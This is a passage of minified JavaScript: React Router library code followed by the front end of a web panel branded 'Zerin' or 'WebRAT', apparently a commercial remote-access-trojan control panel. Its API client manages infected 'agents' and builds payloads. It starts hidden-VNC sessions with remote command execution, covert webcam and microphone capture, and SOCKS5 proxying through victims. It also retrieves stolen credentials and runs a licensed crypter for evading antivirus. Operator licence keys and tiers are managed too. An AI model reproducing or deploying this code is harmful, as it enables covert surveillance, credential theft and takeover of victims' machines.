e.split("/").forEach(i=>{i===".."?n.length>1&&n.pop():i!=="."&&n.push(i)}),n.length>1?n.join("/"):"/"}function em(e,t,n,r){return"Cannot include a '"+e+"' character in a manually specified "+("`to."+t+"` field ["+JSON.stringify(r)+"]. Please separate it out to the ")+("`to."+n+"` field. Alternatively you may provide the full path as ")+'a string in and the router will parse it for you.'}function rE(e){return e.filter((t,n)=>n===0||t.route.path&&t.route.path.length>0)}function kx(e,t){let n=rE(e);return t?n.map((r,i)=>i===n.length-1?r.pathname:r.pathnameBase):n.map(r=>r.pathnameBase)}function zx(e,t,n,r){r===void 0&&(r=!1);let i;typeof e=="string"?i=vs(e):(i=Ao({},e),Xe(!i.pathname||!i.pathname.includes("?"),em("?","pathname","search",i)),Xe(!i.pathname||!i.pathname.includes("#"),em("#","pathname","hash",i)),Xe(!i.search||!i.search.includes("#"),em("#","search","hash",i)));let s=e===""||i.pathname==="",o=s?"/":i.pathname,l;if(o==null)l=n;else{let f=t.length-1;if(!r&&o.startsWith("..")){let p=o.split("/");for(;p[0]==="..";)p.shift(),f-=1;i.pathname=p.join("/")}l=f>=0?t[f]:"/"}let c=nE(i,l),u=o&&o!=="/"&&o.endsWith("/"),d=(s||o===".")&&n.endsWith("/");return!c.pathname.endsWith("/")&&(u||d)&&(c.pathname+="/"),c}const yi=e=>e.join("/").replace(/\/\/+/g,"/"),iE=e=>e.replace(/\/+$/,"").replace(/^\/*/,"/"),aE=e=>!e||e==="?"?"":e.startsWith("?")?e:"?"+e,sE=e=>!e||e==="#"?"":e.startsWith("#")?e:"#"+e;function oE(e){return e!=null&&typeof e.status=="number"&&typeof e.statusText=="string"&&typeof e.internal=="boolean"&&"data"in e}const m5=["post","put","patch","delete"];new Set(m5);const lE=["get",...m5];new Set(lE);/** * React Router v6.30.3 * * Copyright (c) Remix Software Inc. * * This source code is licensed under the MIT license found in the * LICENSE.md file in the root directory of this source tree. * * @license MIT */function Oo(){return Oo=Object.assign?Object.assign.bind():function(e){for(var t=1;t{l.current=!0}),m.useCallback(function(u,d){if(d===void 0&&(d={}),!l.current)return;if(typeof u=="number"){r.go(u);return}let f=zx(u,JSON.parse(o),s,d.relative==="path");e==null&&t!=="/"&&(f.pathname=f.pathname==="/"?t:yi([t,f.pathname])),(d.replace?r.replace:r.push)(f,d.state,d)},[t,r,o,s,e])}const dE=m.createContext(null);function fE(e){let t=m.useContext(hr).outlet;return t&&m.createElement(dE.Provider,{value:e},t)}function rl(){let{matches:e}=m.useContext(hr),t=e[e.length-1];return t?t.params:{}}function dd(e,t){let{relative:n}=t===void 0?{}:t,{future:r}=m.useContext(Vr),{matches:i}=m.useContext(hr),{pathname:s}=ga(),o=JSON.stringify(kx(i,r.v7_relativeSplatPath));return m.useMemo(()=>zx(e,JSON.parse(o),s,n==="path"),[e,o,s,n])}function mE(e,t){return pE(e,t)}function pE(e,t,n,r){gs()||Xe(!1);let{navigator:i}=m.useContext(Vr),{matches:s}=m.useContext(hr),o=s[s.length-1],l=o?o.params:{};o&&o.pathname;let c=o?o.pathnameBase:"/";o&&o.route;let u=ga(),d;if(t){var f;let y=typeof t=="string"?vs(t):t;c==="/"||(f=y.pathname)!=null&&f.startsWith(c)||Xe(!1),d=y}else d=u;let p=d.pathname||"/",h=p;if(c!=="/"){let y=c.replace(/^\//,"").split("/");h="/"+p.replace(/^\//,"").split("/").slice(y.length).join("/")}let x=BP(e,{pathname:h}),g=yE(x&&x.map(y=>Object.assign({},y,{params:Object.assign({},l,y.params),pathname:yi([c,i.encodeLocation?i.encodeLocation(y.pathname).pathname:y.pathname]),pathnameBase:y.pathnameBase==="/"?c:yi([c,i.encodeLocation?i.encodeLocation(y.pathnameBase).pathname:y.pathnameBase])})),s,n,r);return t&&g?m.createElement(ud.Provider,{value:{location:Oo({pathname:"/",search:"",hash:"",state:null,key:"default"},d),navigationType:ci.Pop}},g):g}function hE(){let e=NE(),t=oE(e)?e.status+" "+e.statusText:e instanceof Error?e.message:JSON.stringify(e),n=e instanceof Error?e.stack:null,i={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return m.createElement(m.Fragment,null,m.createElement("h2",null,"Unexpected Application Error!"),m.createElement("h3",{style:{fontStyle:"italic"}},t),n?m.createElement("pre",{style:i},n):null,null)}const xE=m.createElement(hE,null);class vE extends m.Component{constructor(t){super(t),this.state={location:t.location,revalidation:t.revalidation,error:t.error}}static getDerivedStateFromError(t){return{error:t}}static getDerivedStateFromProps(t,n){return n.location!==t.location||n.revalidation!=="idle"&&t.revalidation==="idle"?{error:t.error,location:t.location,revalidation:t.revalidation}:{error:t.error!==void 0?t.error:n.error,location:n.location,revalidation:t.revalidation||n.revalidation}}componentDidCatch(t,n){console.error("React Router caught the following error during render",t,n)}render(){return this.state.error!==void 0?m.createElement(hr.Provider,{value:this.props.routeContext},m.createElement(h5.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function gE(e){let{routeContext:t,match:n,children:r}=e,i=m.useContext(cd);return i&&i.static&&i.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(i.staticContext._deepestRenderedBoundaryId=n.route.id),m.createElement(hr.Provider,{value:t},r)}function yE(e,t,n,r){var i;if(t===void 0&&(t=[]),n===void 0&&(n=null),r===void 0&&(r=null),e==null){var s;if(!n)return null;if(n.errors)e=n.matches;else if((s=r)!=null&&s.v7_partialHydration&&t.length===0&&!n.initialized&&n.matches.length>0)e=n.matches;else return null}let o=e,l=(i=n)==null?void 0:i.errors;if(l!=null){let d=o.findIndex(f=>f.route.id&&(l==null?void 0:l[f.route.id])!==void 0);d>=0||Xe(!1),o=o.slice(0,Math.min(o.length,d+1))}let c=!1,u=-1;if(n&&r&&r.v7_partialHydration)for(let d=0;d=0?o=o.slice(0,u+1):o=[o[0]];break}}}return o.reduceRight((d,f,p)=>{let h,x=!1,g=null,y=null;n&&(h=l&&f.route.id?l[f.route.id]:void 0,g=f.route.errorElement||xE,c&&(u<0&&p===0?(zE("route-fallback"),x=!0,y=null):u===p&&(x=!0,y=f.route.hydrateFallbackElement||null)));let v=t.concat(o.slice(0,p+1)),b=()=>{let w;return h?w=g:x?w=y:f.route.Component?w=m.createElement(f.route.Component,null):f.route.element?w=f.route.element:w=d,m.createElement(gE,{match:f,routeContext:{outlet:d,matches:v,isDataRoute:n!=null},children:w})};return n&&(f.route.ErrorBoundary||f.route.errorElement||p===0)?m.createElement(vE,{location:n.location,revalidation:n.revalidation,component:g,error:h,children:b(),routeContext:{outlet:null,matches:v,isDataRoute:!0}}):b()},null)}var v5=function(e){return e.UseBlocker="useBlocker",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e}(v5||{}),g5=function(e){return e.UseBlocker="useBlocker",e.UseLoaderData="useLoaderData",e.UseActionData="useActionData",e.UseRouteError="useRouteError",e.UseNavigation="useNavigation",e.UseRouteLoaderData="useRouteLoaderData",e.UseMatches="useMatches",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e.UseRouteId="useRouteId",e}(g5||{});function bE(e){let t=m.useContext(cd);return t||Xe(!1),t}function wE(e){let t=m.useContext(p5);return t||Xe(!1),t}function jE(e){let t=m.useContext(hr);return t||Xe(!1),t}function y5(e){let t=jE(),n=t.matches[t.matches.length-1];return n.route.id||Xe(!1),n.route.id}function NE(){var e;let t=m.useContext(h5),n=wE(),r=y5();return t!==void 0?t:(e=n.errors)==null?void 0:e[r]}function kE(){let{router:e}=bE(v5.UseNavigateStable),t=y5(g5.UseNavigateStable),n=m.useRef(!1);return x5(()=>{n.current=!0}),m.useCallback(function(i,s){s===void 0&&(s={}),n.current&&(typeof i=="number"?e.navigate(i):e.navigate(i,Oo({fromRouteId:t},s)))},[e,t])}const Hg={};function zE(e,t,n){Hg[e]||(Hg[e]=!0)}function SE(e,t){e==null||e.v7_startTransition,e==null||e.v7_relativeSplatPath}function la(e){let{to:t,replace:n,state:r,relative:i}=e;gs()||Xe(!1);let{future:s,static:o}=m.useContext(Vr),{matches:l}=m.useContext(hr),{pathname:c}=ga(),u=xr(),d=zx(t,kx(l,s.v7_relativeSplatPath),c,i==="path"),f=JSON.stringify(d);return m.useEffect(()=>u(JSON.parse(f),{replace:n,state:r,relative:i}),[u,f,i,n,r]),null}function CE(e){return fE(e.context)}function mt(e){Xe(!1)}function PE(e){let{basename:t="/",children:n=null,location:r,navigationType:i=ci.Pop,navigator:s,static:o=!1,future:l}=e;gs()&&Xe(!1);let c=t.replace(/^\/*/,"/"),u=m.useMemo(()=>({basename:c,navigator:s,static:o,future:Oo({v7_relativeSplatPath:!1},l)}),[c,l,s,o]);typeof r=="string"&&(r=vs(r));let{pathname:d="/",search:f="",hash:p="",state:h=null,key:x="default"}=r,g=m.useMemo(()=>{let y=ss(d,c);return y==null?null:{location:{pathname:y,search:f,hash:p,state:h,key:x},navigationType:i}},[c,d,f,p,h,x,i]);return g==null?null:m.createElement(Vr.Provider,{value:u},m.createElement(ud.Provider,{children:n,value:g}))}function EE(e){let{children:t,location:n}=e;return mE(Ep(t),n)}new Promise(()=>{});function Ep(e,t){t===void 0&&(t=[]);let n=[];return m.Children.forEach(e,(r,i)=>{if(!m.isValidElement(r))return;let s=[...t,i];if(r.type===m.Fragment){n.push.apply(n,Ep(r.props.children,s));return}r.type!==mt&&Xe(!1),!r.props.index||!r.props.children||Xe(!1);let o={id:r.props.id||s.join("-"),caseSensitive:r.props.caseSensitive,element:r.props.element,Component:r.props.Component,index:r.props.index,path:r.props.path,loader:r.props.loader,action:r.props.action,errorElement:r.props.errorElement,ErrorBoundary:r.props.ErrorBoundary,hasErrorBoundary:r.props.ErrorBoundary!=null||r.props.errorElement!=null,shouldRevalidate:r.props.shouldRevalidate,handle:r.props.handle,lazy:r.props.lazy};r.props.children&&(o.children=Ep(r.props.children,s)),n.push(o)}),n}/** * React Router DOM v6.30.3 * * Copyright (c) Remix Software Inc. * * This source code is licensed under the MIT license found in the * LICENSE.md file in the root directory of this source tree. * * @license MIT */function Qc(){return Qc=Object.assign?Object.assign.bind():function(e){for(var t=1;t=0)&&(n[i]=e[i]);return n}function _E(e){return!!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)}function AE(e,t){return e.button===0&&(!t||t==="_self")&&!_E(e)}function _p(e){return e===void 0&&(e=""),new URLSearchParams(typeof e=="string"||Array.isArray(e)||e instanceof URLSearchParams?e:Object.keys(e).reduce((t,n)=>{let r=e[n];return t.concat(Array.isArray(r)?r.map(i=>[n,i]):[[n,r]])},[]))}function OE(e,t){let n=_p(e);return t&&t.forEach((r,i)=>{n.has(i)||t.getAll(i).forEach(s=>{n.append(i,s)})}),n}const TE=["onClick","relative","reloadDocument","replace","state","target","to","preventScrollReset","viewTransition"],ME=["aria-current","caseSensitive","className","end","style","to","viewTransition","children"],LE="6";try{window.__reactRouterVersion=LE}catch{}const IE=m.createContext({isTransitioning:!1}),DE="startTransition",Kg=lw[DE];function RE(e){let{basename:t,children:n,future:r,window:i}=e,s=m.useRef();s.current==null&&(s.current=DP({window:i,v5Compat:!0}));let o=s.current,[l,c]=m.useState({action:o.action,location:o.location}),{v7_startTransition:u}=r||{},d=m.useCallback(f=>{u&&Kg?Kg(()=>c(f)):c(f)},[c,u]);return m.useLayoutEffect(()=>o.listen(d),[o,d]),m.useEffect(()=>SE(r),[r]),m.createElement(PE,{basename:t,children:n,location:l.location,navigationType:l.action,navigator:o,future:r})}const $E=typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",BE=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,xt=m.forwardRef(function(t,n){let{onClick:r,relative:i,reloadDocument:s,replace:o,state:l,target:c,to:u,preventScrollReset:d,viewTransition:f}=t,p=b5(t,TE),{basename:h}=m.useContext(Vr),x,g=!1;if(typeof u=="string"&&BE.test(u)&&(x=u,$E))try{let w=new URL(window.location.href),j=u.startsWith("//")?new URL(w.protocol+u):new URL(u),N=ss(j.pathname,h);j.origin===w.origin&&N!=null?u=N+j.search+j.hash:g=!0}catch{}let y=cE(u,{relative:i}),v=UE(u,{replace:o,state:l,target:c,preventScrollReset:d,relative:i,viewTransition:f});function b(w){r&&r(w),w.defaultPrevented||v(w)}return m.createElement("a",Qc({},p,{href:x||y,onClick:g||s?r:b,ref:n,target:c}))}),FE=m.forwardRef(function(t,n){let{"aria-current":r="page",caseSensitive:i=!1,className:s="",end:o=!1,style:l,to:c,viewTransition:u,children:d}=t,f=b5(t,ME),p=dd(c,{relative:f.relative}),h=ga(),x=m.useContext(p5),{navigator:g,basename:y}=m.useContext(Vr),v=x!=null&&VE(p)&&u===!0,b=g.encodeLocation?g.encodeLocation(p).pathname:p.pathname,w=h.pathname,j=x&&x.navigation&&x.navigation.location?x.navigation.location.pathname:null;i||(w=w.toLowerCase(),j=j?j.toLowerCase():null,b=b.toLowerCase()),j&&y&&(j=ss(j,y)||j);const N=b!=="/"&&b.endsWith("/")?b.length-1:b.length;let z=w===b||!o&&w.startsWith(b)&&w.charAt(N)==="/",k=j!=null&&(j===b||!o&&j.startsWith(b)&&j.charAt(b.length)==="/"),S={isActive:z,isPending:k,isTransitioning:v},A=z?r:void 0,_;typeof s=="function"?_=s(S):_=[s,z?"active":null,k?"pending":null,v?"transitioning":null].filter(Boolean).join(" ");let O=typeof l=="function"?l(S):l;return m.createElement(xt,Qc({},f,{"aria-current":A,className:_,ref:n,style:O,to:c,viewTransition:u}),typeof d=="function"?d(S):d)});var Ap;(function(e){e.UseScrollRestoration="useScrollRestoration",e.UseSubmit="useSubmit",e.UseSubmitFetcher="useSubmitFetcher",e.UseFetcher="useFetcher",e.useViewTransitionState="useViewTransitionState"})(Ap||(Ap={}));var Yg;(function(e){e.UseFetcher="useFetcher",e.UseFetchers="useFetchers",e.UseScrollRestoration="useScrollRestoration"})(Yg||(Yg={}));function WE(e){let t=m.useContext(cd);return t||Xe(!1),t}function UE(e,t){let{target:n,replace:r,state:i,preventScrollReset:s,relative:o,viewTransition:l}=t===void 0?{}:t,c=xr(),u=ga(),d=dd(e,{relative:o});return m.useCallback(f=>{if(AE(f,n)){f.preventDefault();let p=r!==void 0?r:Zc(u)===Zc(d);c(e,{replace:p,state:i,preventScrollReset:s,relative:o,viewTransition:l})}},[u,c,d,r,i,n,e,s,o,l])}function Sx(e){let t=m.useRef(_p(e)),n=m.useRef(!1),r=ga(),i=m.useMemo(()=>OE(r.search,n.current?null:t.current),[r.search]),s=xr(),o=m.useCallback((l,c)=>{const u=_p(typeof l=="function"?l(i):l);n.current=!0,s("?"+u,c)},[s,i]);return[i,o]}function VE(e,t){t===void 0&&(t={});let n=m.useContext(IE);n==null&&Xe(!1);let{basename:r}=WE(Ap.useViewTransitionState),i=dd(e,{relative:t.relative});if(!n.isTransitioning)return!1;let s=ss(n.currentLocation.pathname,r)||n.currentLocation.pathname,o=ss(n.nextLocation.pathname,r)||n.nextLocation.pathname;return Pp(i.pathname,o)!=null||Pp(i.pathname,s)!=null}const fd="zerin_token",md="zerin_role",pd="zerin_tier";(function(){if(!window.opener)return;function t(n){var r;n.origin===window.location.origin&&((r=n.data)==null?void 0:r.type)==="zerin_auth"&&typeof n.data.token=="string"&&(sessionStorage.setItem(fd,n.data.token),n.data.role&&sessionStorage.setItem(md,n.data.role),window.removeEventListener("message",t),window.dispatchEvent(new CustomEvent("zerin_auth_ready")))}window.addEventListener("message",t),window.opener.postMessage({type:"zerin_auth_request"},window.location.origin)})();function st(){return sessionStorage.getItem(fd)}function Cx(e){sessionStorage.setItem(fd,e)}function il(){sessionStorage.removeItem(fd),sessionStorage.removeItem(md),sessionStorage.removeItem(pd),To=null}function w5(){return sessionStorage.getItem(pd)||"rat"}let To=null;function HE(){return st()?To&&Date.now()/1e3>To?(il(),!1):!0:!1}class bi extends Error{constructor(t,n){super(n),this.status=t,this.name="ApiError"}}async function Ce(e,t={}){const n=st(),r={"Content-Type":"application/json",...t.headers};n&&(r.Authorization=`Bearer ${n}`);const i=await fetch(e,{...t,headers:r});if(i.status===401){il(),zi();const s=await i.text().catch(()=>"");let o="Unauthorized";if(s)try{o=JSON.parse(s).error||o}catch{o=s}throw new bi(401,o)}if(!i.ok){const s=await i.text().catch(()=>"");let o=`Request failed (HTTP ${i.status}). Please try again or contact support.`;if(s)try{o=JSON.parse(s).error||o}catch{}throw new bi(i.status,o)}if(i.status!==204)return i.json()}async function j5(e){const t=new TextEncoder().encode(e),n=await crypto.subtle.digest("SHA-256",t);return Array.from(new Uint8Array(n)).map(r=>r.toString(16).padStart(2,"0")).join("")}async function KE(e){const t=await j5(e.password),n=await Ce("/api/auth/login",{method:"POST",body:JSON.stringify({...e,password:t})});return Cx(n.token),To=n.expires_at,n.role&&sessionStorage.setItem(md,n.role),n.tier&&sessionStorage.setItem(pd,n.tier),zi(),n}async function YE(e){const t=await j5(e.password),n=await Ce("/api/auth/register",{method:"POST",body:JSON.stringify({...e,password:t})});return Cx(n.token),To=n.expires_at,n.role&&sessionStorage.setItem(md,n.role),n.tier&&sessionStorage.setItem(pd,n.tier),zi(),n}async function N5(e){return Ce("/api/agents")}async function qE(e){return Ce(`/api/agents/${e}`)}async function k5(e){return Ce(`/api/agents/${e}`,{method:"DELETE"})}async function GE(e){await Promise.all(e.map(t=>k5(t)))}async function XE(e){return Ce(`/api/agents/${e}/ban`,{method:"POST"})}async function ZE(e){return Ce(`/api/agents/${e}/unban`,{method:"POST"})}async function Me(e,t){return Ce(`/api/agents/${e}/tasks`,{method:"POST",body:JSON.stringify(t)})}async function Xn(e){return Ce(`/api/agents/${e}/tasks`)}async function QE(){return Ce("/api/events")}async function JE(e,t){return Ce(`/api/agents/${e}/tags`,{method:"PUT",body:JSON.stringify({tags:t})})}async function e_(e){return Ce("/api/payloads",{method:"POST",body:JSON.stringify(e)})}async function t_(){return Ce("/api/payloads")}async function n_(){return Ce("/api/server-info")}async function r_(e){return Ce(`/api/payloads/${e}`,{method:"DELETE"})}async function Px(e){return Ce(`/api/agents/${e}/vnc/start`,{method:"POST"})}async function i_(e){return Ce(`/api/agents/${e}/vnc/stop`,{method:"POST"})}async function z5(e){return Ce(`/api/agents/${e}/hvnc/start`,{method:"POST"})}async function a_(e){return Ce(`/api/agents/${e}/hvnc/stop`,{method:"POST"})}async function s_(e,t,n=!1){return Ce(`/api/agents/${e}/hvnc/exec`,{method:"POST",body:JSON.stringify({command:t,clone_session:n})})}async function S5(e,t=-1){return Ce(`/api/agents/${e}/webcam/start`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({device_index:t})})}async function o_(e){return Ce(`/api/agents/${e}/webcam/stop`,{method:"POST"})}async function C5(e){return Ce(`/api/agents/${e}/mic/start`,{method:"POST"})}async function l_(e){return Ce(`/api/agents/${e}/mic/stop`,{method:"POST"})}async function P5(e){return Ce(`/api/agents/${e}/socks5/start`,{method:"POST"})}async function c_(e){return Ce(`/api/agents/${e}/socks5/stop`,{method:"POST"})}async function u_(e){return Ce(`/api/agents/${e}/socks5/status`)}async function d_(e){const t=st(),n={};t&&(n.Authorization=`Bearer ${t}`);const r=await fetch("/api/crypter/crypt",{method:"POST",headers:n,body:e});if(r.status===401)throw il(),zi(),new bi(401,"Unauthorized");if(r.status===403){const i=await r.json().catch(()=>({}));throw new bi(403,i.error||"Crypter requires WebRAT + Crypter license")}if(!r.ok){const i=await r.json().catch(()=>({}));throw new bi(r.status,i.error||`Crypt failed (HTTP ${r.status})`)}return r.blob()}async function f_(){return Ce("/api/admin/keys")}async function m_(e){return Ce("/api/admin/keys",{method:"POST",body:JSON.stringify(e)})}async function p_(e){return Ce(`/api/admin/keys/${e}/revoke`,{method:"POST"})}async function h_(){return Ce("/api/admin/operators")}async function x_(e,t){return Ce(`/api/admin/operators/${e}/extend`,{method:"POST",body:JSON.stringify({duration:t})})}async function v_(e,t){return Ce(`/api/admin/operators/${e}/tier`,{method:"POST",body:JSON.stringify({tier:t})})}async function g_(){return Ce("/api/credentials")}let bc=[];function y_(e){return bc.push(e),()=>{bc=bc.filter(t=>t!==e)}}function b_(){return HE()}function zi(){bc.forEach(e=>e())}function w_(){const e=st();if(!e)return null;try{const t=e.split(".");if(t.length!==3)return null;const n=t[1].replace(/-/g,"+").replace(/_/g,"/"),r=JSON.parse(atob(n));return typeof r.role=="string"?r.role:null}catch{return null}}function ya(){const e=m.useSyncExternalStore(y_,b_),t=m.useCallback(()=>{zi()},[]),n=m.useCallback(()=>{il(),zi()},[]),r=e?w_():null;return{isAuthenticated:e,token:st(),role:r,isAdmin:r==="admin",logout:n,refreshAuth:t}}class j_ extends m.Component{constructor(t){super(t),this.state={hasError:!1}}static getDerivedStateFromError(){return{hasError:!0}}componentDidCatch(t,n){}render(){return this.state.hasError?a.jsx("div",{className:"flex items-center justify-center h-screen bg-zerin-bg",children:a.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),a.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Something went wrong"}),a.jsx("p",{className:"text-zerin-text-muted text-sm mb-6",children:"An unexpected error occurred. Please reload the page to continue."}),a.jsx("button",{onClick:()=>window.location.reload(),className:`inline-flex items-center gap-2 text-sm font-medium text-white\r bg-zerin-accent hover:bg-zerin-accent-hover\r px-4 py-2 transition-colors`,children:"Reload"})]})}):this.props.children}}function N_(e={}){const{onMessage:t,reconnectInterval:n=3e3,maxReconnectAttempts:r=10}=e,[i,s]=m.useState(!1),[o,l]=m.useState(null),c=m.useRef(null),u=m.useRef(0),d=m.useRef(),f=m.useRef(t);f.current=t;const p=m.useCallback(()=>{const x=st();if(!x)return;c.current&&c.current.close();const y=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/ws?token=${encodeURIComponent(x)}`,v=new WebSocket(y);c.current=v,v.onopen=()=>{s(!0),u.current=0},v.onmessage=b=>{var w;try{const j=JSON.parse(b.data);l(j),(w=f.current)==null||w.call(f,j)}catch{}},v.onclose=()=>{if(s(!1),c.current=null,u.current{p()},w)}else il(),zi()},v.onerror=()=>{v.close()}},[n,r]),h=m.useCallback(()=>{u.current=0,p()},[p]);return m.useEffect(()=>(p(),()=>{d.current&&clearTimeout(d.current),c.current&&c.current.close()}),[p]),{isConnected:i,lastMessage:o,reconnect:h}}const tm="zerin_notifications_enabled";function k_(){const[e,t]=m.useState(typeof Notification<"u"?Notification.permission:"denied"),[n,r]=m.useState(()=>localStorage.getItem(tm)==="true");m.useEffect(()=>{typeof Notification<"u"&&t(Notification.permission)},[]);const i=m.useCallback(async()=>{if(typeof Notification>"u")return;const l=await Notification.requestPermission();t(l),l==="granted"&&(r(!0),localStorage.setItem(tm,"true"))},[]),s=m.useCallback(()=>{r(l=>{const c=!l;return localStorage.setItem(tm,String(c)),c})},[]),o=m.useCallback((l,c)=>{if(!(!n||e!=="granted")&&!(typeof Notification>"u")&&!document.hasFocus())try{new Notification(l,{body:c,icon:"/favicon.ico",silent:!1})}catch{}},[n,e]);return{permission:e,enabled:n,requestPermission:i,toggleEnabled:s,notify:o,isSupported:typeof Notification<"u"}}const nm="zerin-uwu-mode",qg=20,z_=3e3;function S_(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(650,t),n.frequency.linearRampToValueAtTime(1050,t+.1),n.frequency.linearRampToValueAtTime(700,t+.2),n.frequency.linearRampToValueAtTime(400,t+.5),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.18,t+.04),r.gain.setValueAtTime(.18,t+.15),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6);const i=e.createOscillator(),s=e.createGain();i.type="triangle",i.frequency.setValueAtTime(1300,t),i.frequency.linearRampToValueAtTime(2100,t+.1),i.frequency.linearRampToValueAtTime(1e3,t+.3),s.gain.setValueAtTime(0,t),s.gain.linearRampToValueAtTime(.05,t+.04),s.gain.exponentialRampToValueAtTime(.001,t+.35),i.connect(s).connect(e.destination),i.start(t),i.stop(t+.4);const o=e.createOscillator(),l=e.createGain(),c=e.createBiquadFilter();o.type="sawtooth",o.frequency.setValueAtTime(180,t),c.type="bandpass",c.frequency.setValueAtTime(900,t),c.frequency.linearRampToValueAtTime(400,t+.5),c.Q.value=2,l.gain.setValueAtTime(0,t),l.gain.linearRampToValueAtTime(.025,t+.1),l.gain.exponentialRampToValueAtTime(.001,t+.5),o.connect(c).connect(l).connect(e.destination),o.start(t),o.stop(t+.55)}catch{}}function C_(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(900,t),n.frequency.linearRampToValueAtTime(600,t+.15),n.frequency.linearRampToValueAtTime(250,t+.6),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.15,t+.03),r.gain.exponentialRampToValueAtTime(.001,t+.65),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.7)}catch{}}function P_(e){try{const t=new AudioContext,n=t.currentTime,r=t.createOscillator(),i=t.createGain();r.type="sine",r.frequency.setValueAtTime(400+e*100,n),r.frequency.linearRampToValueAtTime(500+e*100,n+.04),i.gain.setValueAtTime(.1,n),i.gain.exponentialRampToValueAtTime(.001,n+.12),r.connect(i).connect(t.destination),r.start(n),r.stop(n+.15)}catch{}}function E_(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);const t=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f"];for(let n=0;n<45;n++){const r=document.createElement("div");r.className="femboy-sparkle";const i=6+Math.random()*18;r.style.cssText=` left:${Math.random()*100}vw; top:${Math.random()*100}vh; width:${i}px; height:${i}px; background:${t[n%t.length]}; animation-delay:${Math.random()*.6}s; `,e.appendChild(r)}setTimeout(()=>e.remove(),2e3)}const Gg=["🐾","💖","✨","🎀","😻","🌸","💛","💜","🧋"],Xg=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f","#ff6ec7","#da70d6","#ee82ee"];function __(e,t){const n=8+Math.floor(Math.random()*6);for(let r=0;r.45,o=Math.PI*2*r/n+(Math.random()-.5)*.8,l=40+Math.random()*80,c=Math.cos(o)*l,u=Math.sin(o)*l-30,d=Math.floor(Math.random()*720-360);if(s){const f=Gg[Math.floor(Math.random()*Gg.length)];i.textContent=f,i.style.cssText=` position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000; font-size:${10+Math.random()*14}px; --fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg; animation:femConfetti ${.5+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards; animation-delay:${Math.random()*.08}s; `}else{const f=Xg[Math.floor(Math.random()*Xg.length)],p=4+Math.random()*6,h=4+Math.random()*8;i.style.cssText=` position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000; width:${p}px;height:${h}px;background:${f}; border-radius:${Math.random()>.5?"50%":"1px"}; --fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg; animation:femConfetti ${.4+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards; animation-delay:${Math.random()*.06}s; `}document.body.appendChild(i),setTimeout(()=>i.remove(),1e3)}}const Zg=["❤️","💖","💗","💕","♥️","🌸"];let Qg=0;function A_(e,t){const n=Date.now();if(n-Qg<60)return;Qg=n;const r=document.createElement("span");r.className="femboy-heart-trail",r.textContent=Zg[Math.floor(Math.random()*Zg.length)];const i=(Math.random()-.5)*24,s=(Math.random()-.5)*40;r.style.cssText=`left:${e-6}px;top:${t-6}px;--fem-hx:${i}px;--fem-hr:${s}deg;font-size:${10+Math.random()*8}px;`,document.body.appendChild(r),setTimeout(()=>r.remove(),800)}function Jg(){if(document.getElementById("fem-yt-player"))return;const e=document.createElement("iframe");e.id="fem-yt-player",e.allow="autoplay; encrypted-media",e.src="https://www.youtube.com/embed/kVdYwWq631I?autoplay=1&start=13&loop=1&playlist=kVdYwWq631I&enablejsapi=1&controls=0&origin="+encodeURIComponent(window.location.origin),e.style.cssText="position:fixed;width:1px;height:1px;top:-9999px;left:-9999px;opacity:0;pointer-events:none;border:none;",document.body.appendChild(e),e.addEventListener("load",()=>{const t=()=>{var n;try{(n=e.contentWindow)==null||n.postMessage(JSON.stringify({event:"command",func:"setVolume",args:[12]}),"*")}catch{}};setTimeout(t,800),setTimeout(t,2e3)})}function ey(){var t;const e=document.getElementById("fem-yt-player");if(e){try{(t=e.contentWindow)==null||t.postMessage(JSON.stringify({event:"command",func:"stopVideo",args:[]}),"*")}catch{}e.remove()}}const ty=["(=^・ω・^=)","(◕ᴗ◕✿)","OwO","UwU","nya~","(≧◡≦)","♡","~nyaa","(=ˆ・ω・ˆ=)","meow~"];function O_(){const e=document.createElement("span");e.className="femboy-kaomoji",e.textContent=ty[Math.floor(Math.random()*ty.length)],e.style.left=`${20+Math.random()*60}vw`,e.style.top=`${20+Math.random()*60}vh`,document.body.appendChild(e),setTimeout(()=>e.remove(),3500)}function T_(){const[e,t]=m.useState(()=>{try{return localStorage.getItem(nm)==="true"}catch{return!1}}),n=m.useRef(0),r=m.useRef();m.useEffect(()=>{const s=document.documentElement.classList;return 